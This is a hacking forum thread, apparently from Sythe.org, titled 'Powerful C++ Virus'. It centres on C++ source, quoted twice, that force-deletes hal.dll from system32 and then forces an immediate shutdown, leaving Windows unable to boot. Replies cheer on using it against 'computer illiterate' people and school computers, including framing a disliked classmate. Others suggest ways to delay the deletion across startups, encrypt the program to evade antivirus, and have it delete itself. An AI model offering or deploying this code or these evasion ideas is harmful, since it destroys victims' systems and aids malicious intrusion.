• Log in or sign up for an account here: https://www.sythe.org/login

Powerful C++ Virus

Status
Not open for further replies.
kk guys,first things first,for all who think hal.dll doesn't get deleted,it does. I tested this code(without the shutdown part) after taking a backup copy of hal.dll on another place in my HDD. It got deleted in system32,and I put it back.
Second,the shutdown thingy aint appropriate Sid..it doesn't work =/ plus std::remove doesn't work either since scope resolution operator( :: ) is only used in classes. I used "system" in my code

So I fixed the code..here it is.:D
Code:
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
    system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
    system("PAUSE");
    return EXIT_SUCCESS;
}

The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.
shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.:D :D Also,COMPILE the code,DONT RUN IT. Sid's code's shutdown didn't work,so I was safe.... @_@ lol

Um btw...if Windows aint in C...how would this work? is there any search thingy for this? Suppose its in D:,is there a code for it to look in the drives then delete hal.dll?

*Edit*
Nevermind I found out. Look in code.
 
kk guys,first things first,for all who think hal.dll doesn't get deleted,it does. I tested this code(without the shutdown part) after taking a backup copy of hal.dll on another place in my HDD. It got deleted in system32,and I put it back.
Second,the shutdown thingy aint appropriate Sid..it doesn't work =/ plus std::remove doesn't work either since scope resolution operator( :: ) is only used in classes. I used "system" in my code

So I fixed the code..here it is.:D
Code:
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
    system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
    system("PAUSE");
    return EXIT_SUCCESS;
}

The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.
shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.:D :D Also,COMPILE the code,DONT RUN IT. Sid's code's shutdown didn't work,so I was safe.... @_@ lol

Um btw...if Windows aint in C...how would this work? is there any search thingy for this? Suppose its in D:,is there a code for it to look in the drives then delete hal.dll?

*Edit*
Nevermind I found out. Look in code.

I improvised the shutdown code from memory. Nice addition, though; I'll add it to the front page. What you accomplished in your quote box above was using BATCH which does not utilize the true purpose of C++...
 
Le Monkey
PHP Shit Show 2k26
Potamus
Prove it!
Sythe Awards 2011 Winner
Tier 1 Prizebox
Tortoise Penis
Trole
UWotM8?
Wait, do you not have an Archer rank?
*Sigh*

Proper use of the Windows Recovery Console will easily correct this.
 
You know what,SMR...thats true..but most of the people we fool are computer illiterate. So you see...xD lol
 
*Sigh*

Proper use of the Windows Recovery Console will easily correct this.

That is if someone still has the CD. I normally download an XP Pro SP2 OEM ISO file from the web, burn it, install Windows and then lose the CD.

What I did to correct the problem was I connected an IDE<-->USB cable from my computer to my laptop, plugged in the IDE Hard-Drive power cable and then switched it on. It found my hard-drive instantaneously and I just copied Hal.dll over.

I go to a laptop school, and people are so computer illiterate that they do not know how to create something in Visual Basic.
 
I can pwn the school computers lol

One thing I've realised after finding out that they blocked the CMD was that you can just use "Command.com" instead. We have limited rights on our computers, which disables us from doing anything bad, easily.
 
Some computers don't have admin passwords on them :P lol jk I won't do anything bad.
 
Le Monkey
PHP Shit Show 2k26
Potamus
Prove it!
Sythe Awards 2011 Winner
Tier 1 Prizebox
Tortoise Penis
Trole
UWotM8?
Wait, do you not have an Archer rank?
That is if someone still has the CD. I normally download an XP Pro SP2 OEM ISO file from the web, burn it, install Windows and then lose the CD.
I keep every CD I burn. It's just so hard to find them in my disorganized desk :P

Although yes, this will render it impossible for computer-illiterate users to start Windows.
 
I keep every CD I burn. It's just so hard to find them in my disorganized desk :P

Although yes, this will render it impossible for computer-illiterate users to start Windows.

I keep my CD's too. I know where they are, as well. They're somewhere around my house. They're probably too scratched as well.

Most tech people will not know what Hal.dll is and they will probably reformat the hard-drive and re-install Windows thinking that a virus has attacked their computer :P
 
this is not needed....you just gave millions of programmer noobs a virus and will do anything to send it to people...but congrats on the creation..
 
this is not needed....you just gave millions of programmer noobs a virus and will do anything to send it to people...but congrats on the creation..

The main purpose of this was to show people how to delete files in C++. I did not give millions of programmer noobs a virus; I merely gave them the source. The "programmer noobs" will have to learn how to compile it before sending it.
 
true true but those of whome who do can, but I dout any noob would be able to find out how to get it out. Sorry for the misunderstanding ;)
 
lol goodbye cheap IBM LENENO computer at my school. Just hope I dont get caught... aw I never get caught becasue the teachers are total n00bs at computers...

THANK YOU FOR THE VIRUS!!!
:)
 
lol goodbye cheap IBM LENENO computer at my school. Just hope I dont get caught... aw I never get caught becasue the teachers are total n00bs at computers...

THANK YOU FOR THE VIRUS!!!
:)

Lol, the model of the computer doesn't really make a difference. Hal.dll can be easily restored with proper computer knowledge, although I'm not sure how to open up laptops.
 
In my school theres some kinda system that just replaces all the files for windows etc. at restart..

@jake, if they wanted virus sources enough they could just google and find loads of them..
 
In my school theres some kinda system that just replaces all the files for windows etc. at restart..

@jake, if they wanted virus sources enough they could just google and find loads of them..

First I was just pointing out the computers that my school uses are cheap crap I know they have the hal.dll files and I know it would work. Also "In my school theres some kinda system that just replaces all the files for windows etc. at restart.." well you know the computer would not restart right? Thats the point or you could just remove the shutdown command on say like the computer that someone you REALLY hate at your school is using and they get the blame. How would they get the blame well theres numbers on every comp. and my fat science teacher passes around a list with numbers beside it you write your name so they can tell what computer your on. Sorry I got a little carried away. :)
 
First I was just pointing out the computers that my school uses are cheap crap I know they have the hal.dll files and I know it would work. Also "In my school theres some kinda system that just replaces all the files for windows etc. at restart.." well you know the computer would not restart right? Thats the point or you could just remove the shutdown command on say like the computer that someone you REALLY hate at your school is using and they get the blame. How would they get the blame well theres numbers on every comp. and my fat science teacher passes around a list with numbers beside it you write your name so they can tell what computer your on. Sorry I got a little carried away. :)

I'm pretty sure there would be a work-around to make it delete hal.dll after 2 or 3 startups. Basically, I'm saying there's probably a way to delete hal.dll after a specific number of startups.
 
Lol, on most systems you would get windows file protection jumping up and down like a jack russel telling you your computers screwed unless you insert the cd to repair the problem.

Not to mention if you have zonealarm it will alert you of the problem and tell you not to allow this program to delete it.

Most AV systems that run heurustics will pick this lil critter up and warn you of it.

Last of all....Why write this in C++? Shouldnt you write it in assembly?

Powerful? No
Simple? Yes
Detectable? Yes
Fixable? Yes (Well for some)

If you wanted it more powerful shouldnt you make it encrypt and decrypt itself? To prevent detection? and maybe melt itself after copying itself somewhere? Just kinda stuff like this.
 
Status
Not open for further replies.
duelarena.gg
Back
Top